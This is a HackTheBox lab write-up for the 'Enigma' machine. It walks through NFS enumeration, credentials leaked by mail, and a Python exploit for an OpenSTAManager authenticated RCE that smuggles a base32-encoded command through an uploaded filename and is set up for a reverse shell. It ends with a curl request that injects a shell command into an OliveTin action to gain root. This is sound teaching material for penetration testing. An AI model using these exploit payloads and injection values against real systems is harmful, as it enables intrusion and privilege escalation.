hackthebox / easy / linux

Enigma

Platform
HackTheBox
Difficulty
OS

Summary

Enigma chains a handful of classic techniques together. A misconfigured NFS share leaks an internal PDF, which points to the mail server where credential reuse unlocks a hidden support panel running an authenticated RCE in OpenSTAManager. From the resulting www-data shell, database credentials found in config lead to a cracked hash and haris, whose port-forwarded service (OliveTin) has an unauthenticated action whose shell command is injectable - straight to root.

Skills Required

  • Service identification and NFS enumeration
  • Basic web exploitation and CVE research

Skills Learned

  • Mounting and mining NFS shares for leaked credentials
  • Reusing credentials across mail and web services
  • OpenSTAManager authenticated RCE (CVE-2025-69212)
  • Injecting into OliveTin's action shell commands

Enumeration

A full port scan shows the usual suspects plus a couple of unusual services: SSH, a redirecting nginx, mail (POP3/IMAP) and an NFS service.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-29 05:40 -0400
Nmap scan report for 10.129.35.69
Host is up (0.048s latency).
Not shown: 992 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp  open  pop3     Dovecot pop3d
111/tcp  open  rpcbind  2-4 (RPC #100000)
143/tcp  open  imap     Dovecot imapd (Ubuntu)
993/tcp  open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp  open  ssl/pop3 Dovecot pop3d
2049/tcp open  nfs_acl  3 (RPC #100227)

NFS share

The presence of NFS is unusual - let's look at it. The /share export is mountable without auth.

mkdir /tmp/nfs
mount -t nfs TARGET:/share /tmp/nfs -o nolock    # mount share
ls -la /tmp/nfs                                  # list files
umount /tmp/nfs

Inside is a PDF. It references the mail server and a user named Kevin, along with (implied) credentials.

Mail server

Connecting to the POP3 service over TLS and reading Kevin's only email yields another set of credentials - this time for a hidden support panel.

openssl s_client -connect 10.129.35.69:995 -crlf -quiet

URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s

Foothold

OpenSTAManager authenticated RCE

The support panel runs OpenSTAManager 2.9.8. Research points to CVE-2025-69212, an authenticated RCE in the invoice importer: an uploaded .p7m file is passed to exec('openssl smime -verify ... "'.$file.'"') where the attacker-controlled filename is evaluated by /bin/sh. Since filenames can't contain /, the payload is base32-encoded and decoded at runtime.

#!/usr/bin/env python3
# CVE-2025-69212 - OpenSTAManager <= 2.9.8 authenticated RCE
# Sink: src/Util/XML.php :: decodeP7M()
#   exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"')
# Command substitution $( ) is evaluated by /bin/sh even inside double quotes.

import argparse, base64, sys, time, requests

def b32(s):
    return base64.b32encode(s.encode()).decode()

def fname(payload):
    return "z$(echo${IFS}" + b32(payload) + "|base32${IFS}-d|bash).p7m"

def login(s, base, user, pw):
    s.get(base + "/")
    s.post(base + "/index.php?op=login", data={"username": user, "password": pw})
    if "op=logout" not in s.get(base + "/").text:
        sys.exit("[-] login failed")

def fire(s, base, payload, id_module, id_plugin):
    fn = fname(payload)
    try:
        s.post(base + "/actions.php",
               data={"op": "save", "id_module": id_module, "id_plugin": id_plugin},
               files={"blob": (fn, b"<x/>", "application/octet-stream")},
               timeout=8)
    except requests.exceptions.RequestException:
        pass  # blocking exec (reverse shell) holds the connection

def run_blind(s, base, cmd, webroot, cwd=None):
    marker = "RCEOUT"
    out = f"{webroot}/o.txt"
    prefix = f'cd {cwd} 2>/dev/null; ' if cwd else ''
    payload = f"{{ {prefix}{cmd} ; echo {marker}; }} > {out} 2>&1"
    fire(s, base, payload, "14", "19")
    for _ in range(15):
        r = s.get(base + "/o.txt")
        if marker in r.text:
            return r.text.split(marker)[0]
        time.sleep(0.5)
    return "[-] no output\n"

# ... interactive shell + main() omitted for brevity ...
# usage:
#   ./CVE-2025-69212.py -u URL -l admin -p 'Ne3s4rtars78s' -s LHOST -P LPORT

Running the exploit delivers a shell as www-data.

Lateral Movement

Database credentials

LinPEAS finds the application database credentials in its config.

$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';

Dumping the users table reveals a password hash.

mysql -u brollin -p'Fri3nds@9099' -h localhost openstamanager
# or
mysql -u brollin -p'Fri3nds@9099' -e "use openstamanager; select * from zz_users;" 2>/dev/null

The hash cracks with hashcat -m 3200:

user: haris
pass: bestfriends

SSH isn't reachable with it, so we su haris from the www-data shell.

SSH for stability

An SSH key makes the connection persistent and enables port forwarding.

mkdir -p ~/.ssh
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
# copy the private key, then on the attacker box:
chmod 600 id_haris
ssh -i id_haris haris@enigma.htb

Privilege Escalation

Port forwarding to OliveTin

A local service on port 1337 runs OliveTin (a web UI for running shell commands). Forward it and grab the user flag.

ssh -i id_haris -L 1337:127.0.0.1:1337 haris@enigma.htb

Unauthenticated command injection

OliveTin's config defines a backup_database action that shells out to mysqldump, and it is configured with authRequireGuestsToLogin: false plus exec: true for guests - so anyone can trigger actions with arbitrary arguments, no login needed.

# /etc/OliveTin/config.yaml
- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"

Because the db_pass argument is dropped into single quotes inside a /bin/sh command line, a crafted value closes the quote and injects a command that is run as root.

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"actionId": "backup_database", "arguments": [
        {"name": "db_user", "value": "backup_svc"},
        {"name": "db_pass", "value": "x'\'' ; cat /root/root.txt ; #"},
        {"name": "db_name", "value": "production"}]}' \
  http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/StartActionAndWait

The action executes mysqldump as the OliveTin service user (root), our injected cat /root/root.txt runs, and the box is owned.

Key Takeaways

  • NFS exports with no auth are a free foothold - always mount and list them.
  • Password reuse across mail, web panels and OS accounts makes one leak a whole path.
  • Command substitution inside quoted system()/shell templates is injectable - never build shell commands from untrusted arguments.
  • Look for the hidden vhosts - support_001 only showed up after the mail lead, not from directory brute force.